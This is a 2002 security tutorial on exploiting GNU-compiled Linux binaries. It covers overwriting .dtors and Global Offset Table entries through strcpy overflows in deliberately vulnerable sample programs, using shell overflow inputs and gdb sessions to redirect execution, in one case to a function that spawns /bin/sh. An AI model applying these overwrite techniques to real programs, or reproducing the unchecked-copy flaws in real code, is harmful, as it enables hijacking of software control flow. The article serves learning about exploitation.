Cyber Security Expo
 
GNU And Its Role In Exploitation by Phactorial on 05/09/02

Most Linux and Linux-based systems are littered with GNU assemblers, compilers and linkers. Indeed, these tools are feature packed but their features also serve great interest when it comes down to exploitation of vulnerabilities in your software.


GNU Segments

When you link/compile your source code with GNU tools many segments will be forced into your program, even if the segments come to no use by your program. Even though these segments might seem trivial at the first look a second closer look will assure you of their danger.


The .dtors segment
The GNU family of compilers writes two segments into your program called .dtors and .ctors. These two segments are used by the constructor and destructor attribute fields.

__attribute__((constructor))
__attribute__((destructor))

When a function is declared as a constructor it is executed before the main() function is called. A function declared as a destructor will be executed when the main() function returns.

Example (hello.c):

--------------------------------------------------<>
#include 
void hello() __attribute__((constructor));
void world() __attribute__((destructor));

main(){
printf(" ");
return 0;
}

void hello(){
printf("Hello");
}

void world(){
printf("World!\n");
}
--------------------------------------------------<>

--------------------------------------------------<>
phactorial:~/development/experiments # ./hello 
Hello World!
phactorial:~/development/experiments #
--------------------------------------------------<>

The .dtors and .ctors segments consist of a header and tail flag (0xffffffff and 0x00000000 respectively). gdb session:

--------------------------------------------------<>
(gdb) x/x 0x08049548
0x8049548 <__DTOR_LIST__>:      0xffffffff
(gdb) 
0x804954c <__DTOR_LIST__+4>:    0x08048480
(gdb) 
0x8049550 <__DTOR_END__>:       0x00000000
(gdb) printf "%p\n", world
0x8048480
--------------------------------------------------<>

As you can see there is the header flag (0xffffffff), then the function pointer to world (it is declared as a destructor) is written after the head flag. The very end of the segment is the tail flag which is a group of four null bytes. The __attribute__ functionality in gcc is very convenient but it has driven gcc to allow attackers a wider variety of exploitation methods. This will always be a risk unless gcc starts scratching out segments not being used. Yes... the .dtors and .ctors segments will always be written into binaries compiled and linked with GNU tools (even if no functions are declared as constructors or destructors).
By now you"re probably wondering (or already have an idea) what I"m trying to get to. .ctors is not important to us as overwriting it is a waste of time. This is because .ctors is executed before and only before the main() function is entered. What IS interesting to us is the .dtors segment. If we were to overwrite (or write) a function pointer in __DTOR_LIST+4__ (which will be __DTOR_END__ when we don"t set any functions as destructors) we will be able to make the program jump to our code when the main() function exits.

An example (vulnerable.c):

--------------------------------------------------<>
#include 

main(int argc, char *argv[]){
static char over[]="over";
strcpy(over, argv[1]);
}


void come_here_if_you_dare(){
printf("How in the world did you manage to get here!?\n");
printf("Please let me show you the way out...\n");
exit(0);
}
--------------------------------------------------<>
Symbol listing:
--------------------------------------------------<>
08049640 ? _DYNAMIC
08049618 ? _GLOBAL_OFFSET_TABLE_
08048564 R _IO_stdin_used
0804960c ? __CTOR_END__
08049608 ? __CTOR_LIST__
08049614 ? __DTOR_END__
08049610 ? __DTOR_LIST__
08049604 ? __EH_FRAME_BEGIN__
08049604 ? __FRAME_END__
080496e0 A __bss_start
         U __cxa_finalize
080495e8 D __data_start
         U __deregister_frame_info@@GLIBC_2.0
         U __deregister_frame_info_bases
080484f0 t __do_global_ctors_aux
080483c0 t __do_global_dtors_aux
080495ec D __dso_handle
         U __gmon_start__
         U __libc_start_main@@GLIBC_2.0
         U __register_frame_info@@GLIBC_2.0
         U __register_frame_info_bases
080496e0 A _edata
080496fc A _end
0804853c A _etext
08048540 ? _fini
         U _fp_hw
080482e0 ? _init
08048390 T _start
080484c0 T come_here_if_you_dare
080496e0 b completed.1
080495e8 W data_start
         U exit@@GLIBC_2.0
08048420 t fini_dummy
080495f4 d force_to_data
08049600 d force_to_data
08048430 t frame_dummy
080483b4 t gcc2_compiled.
0804853c t gcc2_compiled.
08048480 t init_dummy
08048530 t init_dummy
08048490 T main
080496e4 b object.2
080495f8 d over.0
080495f0 d p.0
         U printf@@GLIBC_2.0
         U strcpy@@GLIBC_2.0
--------------------------------------------------<>

We will now try to overwrite .dtors to make the program jump to 0x80484c0 (come_here_if_you_dare).

--------------------------------------------------<>
phactorial:~/development/experiments # ./vulnerable `perl -e "printf 
"A" x 28"``printf "\xc0\x84\x04\x08"`
How in the world did you manage to get here!?
Please let me show you the way out...
phactorial:~/development/experiments # 
--------------------------------------------------<> 
Nice, we were able to exploit the program successfully by writing to .dtors. Let"s have a closer look at what we have overwritten. gdb session:
--------------------------------------------------<>
(gdb) main inf sec
Exec file:
    `/root/development/experiments/vulnerable", file type elf32-i386.
    0x080480f4->0x08048107 at 0x000000f4: .interp ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x08048108->0x08048128 at 0x00000108: .note.ABI-tag ALLOC LOAD 
READONLY DATA HAS_CONTENTS
    0x08048128->0x08048160 at 0x00000128: .hash ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x08048160->0x080481f0 at 0x00000160: .dynsym ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x080481f0->0x08048276 at 0x000001f0: .dynstr ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x08048276->0x08048288 at 0x00000276: .gnu.version ALLOC LOAD 
READONLY DATA HAS_CONTENTS
    0x08048288->0x080482a8 at 0x00000288: .gnu.version_r ALLOC LOAD 
READONLY DATA HAS_CONTENTS
    0x080482a8->0x080482b0 at 0x000002a8: .rel.got ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x080482b0->0x080482e0 at 0x000002b0: .rel.plt ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x080482e0->0x08048311 at 0x000002e0: .init ALLOC LOAD READONLY 
CODE HAS_CONTENTS
    0x08048314->0x08048384 at 0x00000314: .plt ALLOC LOAD READONLY CODE 
HAS_CONTENTS
    0x08048390->0x0804853c at 0x00000390: .text ALLOC LOAD READONLY 
CODE HAS_CONTENTS
    0x08048540->0x0804855c at 0x00000540: .fini ALLOC LOAD READONLY 
CODE HAS_CONTENTS
    0x08048560->0x080485e7 at 0x00000560: .rodata ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x080495e8->0x08049604 at 0x000005e8: .data ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049604->0x08049608 at 0x00000604: .eh_frame ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049608->0x08049610 at 0x00000608: .ctors ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049610->0x08049618 at 0x00000610: .dtors ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049618->0x08049640 at 0x00000618: .got ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049640->0x080496e0 at 0x00000640: .dynamic ALLOC LOAD DATA 
HAS_CONTENTS
    0x080496e0->0x080496fc at 0x000006e0: .bss ALLOC
    0x00000000->0x00000744 at 0x000006e0: .stab READONLY HAS_CONTENTS
    0x00000000->0x00001327 at 0x00000e24: .stabstr READONLY 
HAS_CONTENTS
    0x00000000->0x000000ed at 0x0000214b: .comment READONLY 
HAS_CONTENTS
    0x000000ed->0x00000129 at 0x00002238: .note READONLY HAS_CONTENTS
(gdb) x/x 0x08049608
0x8049608 <__CTOR_LIST__>:      0x41414141
(gdb) 
0x804960c <__CTOR_END__>:       0x41414141
(gdb) 
0x8049610 <__DTOR_LIST__>:      0x41414141
(gdb) 
0x8049614 <__DTOR_END__>:       0x080484c0
(gdb) printf "%p\n", come_here_if_you_dare 
0x80484c0
(gdb) 
--------------------------------------------------<> 

As you can see we have written a pointer to the come_here_if_you_dare function in __DTOR_END__ aka the .dtors tail flag. When would you want to overwrite .dtors if eip is just a heartbeat away? The answer is simple, .dtors should be overwritten when eip *isn"t* a heartbeat away.

Example (abo7.c):

--------------------------------------------------<>
/* abo7.c                                                  *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* sometimes you can,       *
 * sometimes you don"t      *
 * that"s what life"s about */

char buf[256]={1};

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
}
--------------------------------------------------<>

--------------------------------------------------<>
phactorial:~/exploits/InsecureProgramming # ./abo7 `perl -e "printf "A" 
x 276"``printf "\xbf\xbf\xbf\xbf"`
Segmentation fault (core dumped)
phactorial:~/exploits/InsecureProgramming # 
--------------------------------------------------<>
gdb session:
--------------------------------------------------<>
Core was generated by `./abo7 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0xbfbfbfbf in ?? ()
(gdb) x/x 0x08049608
0x8049608 <__CTOR_LIST__>:      0x41414141
(gdb) 
0x804960c <__CTOR_END__>:       0x41414141
(gdb) 
0x8049610 <__DTOR_LIST__>:      0x41414141
(gdb) 
0x8049614 <__DTOR_END__>:       0xbfbfbfbf
(gdb) 
--------------------------------------------------<>

All I would need to do now is replace 0xbfbfbfbf with the address of our shellcode. As long as the buffer that can be overflowed is found above .dtors (in the .data segment) you will always have another alternative method of exploitation.

The global offset table
There is very little documentation on the role of this integral segment of dynamic executables. The addresses of libc functions and other data which position independent code can access. Overwriting a GOT entry with a pointer to your shellcode will allow you to control program flow as soon as the function pointer that you have overwritten is used.

Example (x.c):
--------------------------------------------------<>
#include 

#include 
#include 


main(int argc, char *argv[]){
static char buff[]="over";
strcpy(buff, argv[1]);
puts(buff);
}


void sex(){
system("/bin/sh");
}
--------------------------------------------------<>
gdb session:
--------------------------------------------------<>
(gdb) main inf sec
Exec file:
    `/root/development/experiments/x", file type elf32-i386.
    0x080480f4->0x08048107 at 0x000000f4: .interp ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x08048108->0x08048128 at 0x00000108: .note.ABI-tag ALLOC LOAD 
READONLY DATA HAS_CONTENTS
    0x08048128->0x08048160 at 0x00000128: .hash ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x08048160->0x080481f0 at 0x00000160: .dynsym ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x080481f0->0x08048276 at 0x000001f0: .dynstr ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x08048276->0x08048288 at 0x00000276: .gnu.version ALLOC LOAD 
READONLY DATA HAS_CONTENTS
    0x08048288->0x080482a8 at 0x00000288: .gnu.version_r ALLOC LOAD 
READONLY DATA HAS_CONTENTS
    0x080482a8->0x080482b0 at 0x000002a8: .rel.got ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x080482b0->0x080482e0 at 0x000002b0: .rel.plt ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x080482e0->0x08048311 at 0x000002e0: .init ALLOC LOAD READONLY 
CODE HAS_CONTENTS
    0x08048314->0x08048384 at 0x00000314: .plt ALLOC LOAD READONLY CODE 
HAS_CONTENTS
    0x08048390->0x0804853c at 0x00000390: .text ALLOC LOAD READONLY 
CODE HAS_CONTENTS
    0x08048540->0x0804855c at 0x00000540: .fini ALLOC LOAD READONLY 
CODE HAS_CONTENTS
    0x0804855c->0x0804856c at 0x0000055c: .rodata ALLOC LOAD READONLY 
DATA HAS_CONTENTS
    0x0804956c->0x08049588 at 0x0000056c: .data ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049588->0x0804958c at 0x00000588: .eh_frame ALLOC LOAD DATA 
HAS_CONTENTS
    0x0804958c->0x08049594 at 0x0000058c: .ctors ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049594->0x0804959c at 0x00000594: .dtors ALLOC LOAD DATA 
HAS_CONTENTS
    0x0804959c->0x080495c4 at 0x0000059c: .got ALLOC LOAD DATA 
HAS_CONTENTS
    0x080495c4->0x08049664 at 0x000005c4: .dynamic ALLOC LOAD DATA 
HAS_CONTENTS
    0x08049664->0x08049680 at 0x00000664: .bss ALLOC
    0x00000000->0x00000744 at 0x00000664: .stab READONLY HAS_CONTENTS
    0x00000000->0x00001327 at 0x00000da8: .stabstr READONLY 
HAS_CONTENTS
    0x00000000->0x000000ed at 0x000020cf: .comment READONLY 
HAS_CONTENTS
    0x000000ed->0x00000129 at 0x000021bc: .note READONLY HAS_CONTENTS
(gdb) x/x 0x0804959c
0x804959c <_GLOBAL_OFFSET_TABLE_>:      0x080495c4
(gdb) 
0x80495a0 <_GLOBAL_OFFSET_TABLE_+4>:    0x00000000
(gdb) 
0x80495a4 <_GLOBAL_OFFSET_TABLE_+8>:    0x00000000
(gdb) 
0x80495a8 <_GLOBAL_OFFSET_TABLE_+12>:   0x0804832a
(gdb) 
0x80495ac <_GLOBAL_OFFSET_TABLE_+16>:   0x0804833a
(gdb) 
0x80495b0 <_GLOBAL_OFFSET_TABLE_+20>:   0x0804834a
(gdb) 
0x80495b4 <_GLOBAL_OFFSET_TABLE_+24>:   0x0804835a
(gdb) 
0x80495b8 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) 
0x80495bc <_GLOBAL_OFFSET_TABLE_+32>:   0x0804837a
(gdb) 
0x80495c0 <_GLOBAL_OFFSET_TABLE_+36>:   0x00000000
(gdb) x/x 0x080495c4
0x80495c4 <_DYNAMIC>:   0x00000001
(gdb) x/x 0x0804832a
0x804832a <__register_frame_info+6>:    0x00000068
(gdb) x/x 0x0804833a
0x804833a :   0x00000868
(gdb) x/x 0x0804834a
0x804834a :     0x00001068
(gdb) x/x 0x0804835a
0x804835a <__deregister_frame_info+6>:  0x00001868
(gdb) x/x 0x0804836a
0x804836a <__libc_start_main+6>:        0x00002068
(gdb) x/x 0x0804837a
0x804837a :   0x00002868
--------------------------------------------------<>

As you can see the global offset table is full of pointers to library functions being used by your program and pointers to other GNU specific segments. _GLOBAL_OFFSET_TABLE_+20 contains a pointers to libc"s puts() function. Overwriting this value with an arbitrary value will cause the vulnerable program to jump to where our arbitrary value is pointing to and execute the instructions there as soons as the puts() function is called by the vulnerable program.
We will now attempt to exploit this program by attempting to overwrite the puts() entry with the address of the sex function.

gdb session:

--------------------------------------------------<>
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`printf 
"\xbb\xbb\xbb\xbb"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/development/experiments/x
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`printf 
"\xbb\xbb\xbb\xbb"`

Program received signal SIGSEGV, Segmentation fault.
0xbbbbbbbb in ?? ()
--------------------------------------------------<>

It seems as if we were able to make the program jump to 0xbbbbbbbb when it calls puts(). Let"s use write a valid entry now.

--------------------------------------------------<>
(gdb) x/x sex
0x80484d0 :        0x83e58955
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`printf 
"\xd0\x84\x04\x08"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/development/experiments/x
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`printf 
"\xd0\x84\x04\x08"`

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) x/x 0x080495a0
0x80495a0 <_GLOBAL_OFFSET_TABLE_+4>:    0x61616161
(gdb) 
0x80495a4 <_GLOBAL_OFFSET_TABLE_+8>:    0x61616161
(gdb) 
0x80495a8 <_GLOBAL_OFFSET_TABLE_+12>:   0x61616161
(gdb) 
0x80495ac <_GLOBAL_OFFSET_TABLE_+16>:   0x61616161
(gdb) 
0x80495b0 <_GLOBAL_OFFSET_TABLE_+20>:   0x080484d0
(gdb) 
0x80495b4 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048300
(gdb) 
--------------------------------------------------<>

We have written a valid entry into puts() but how come the program is still trying to jump to 0x61616161? Let"s take a closer look shall we...

--------------------------------------------------<>
(gdb) bt
#0  0x61616161 in ?? ()
#1  0x80484be in main ()
#2  0x40038213 in __libc_start_main (main=0x8048490 
, argc=2, argv=0xbffff874, init=0x80482e0 <_init>, fini=0x8048540 <_fini>, rtld_fini=0x4000ac30 <_dl_fini>, stack_end=0xbffff86c) at ../sysdeps/generic/libc-start.c:90 (gdb) x/x __libc_start_main 0x40038110 <__libc_start_main>: 0x57e58955 (gdb) x/x 0x080495b8 0x80495b8 <_GLOBAL_OFFSET_TABLE_+28>: 0x40038110 --------------------------------------------------<>

We have made the program successfully jump to sex(). How you say? Well the program seems to have flowed into the sex() function. The system() entry is on top of the puts() entry on that stack and thus is written with 0x61616161. This little example should prove my point.

--------------------------------------------------<>
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXX`printf 
"\xd0\x84\x04\x08"` 
Starting program: /root/development/experiments/x
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXX`printf 
"\xd0\x84\x04\x08"`

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb)
--------------------------------------------------<>

Overwriting individual entries is usually a slow approach to successful exploitation. There are also many pitfalls you have to avoid such as avoiding overwriting entries that are used before your entry with bogus values. A more common and logical approach is to just blast all of the GOT with the address you would like the vulnerable program to jump to.

Rate this article

All images, content & text (unless other ownership applies) are © copyrighted 2000 -  , Infosecwriters.com. All rights reserved. Comments are property of the respective posters.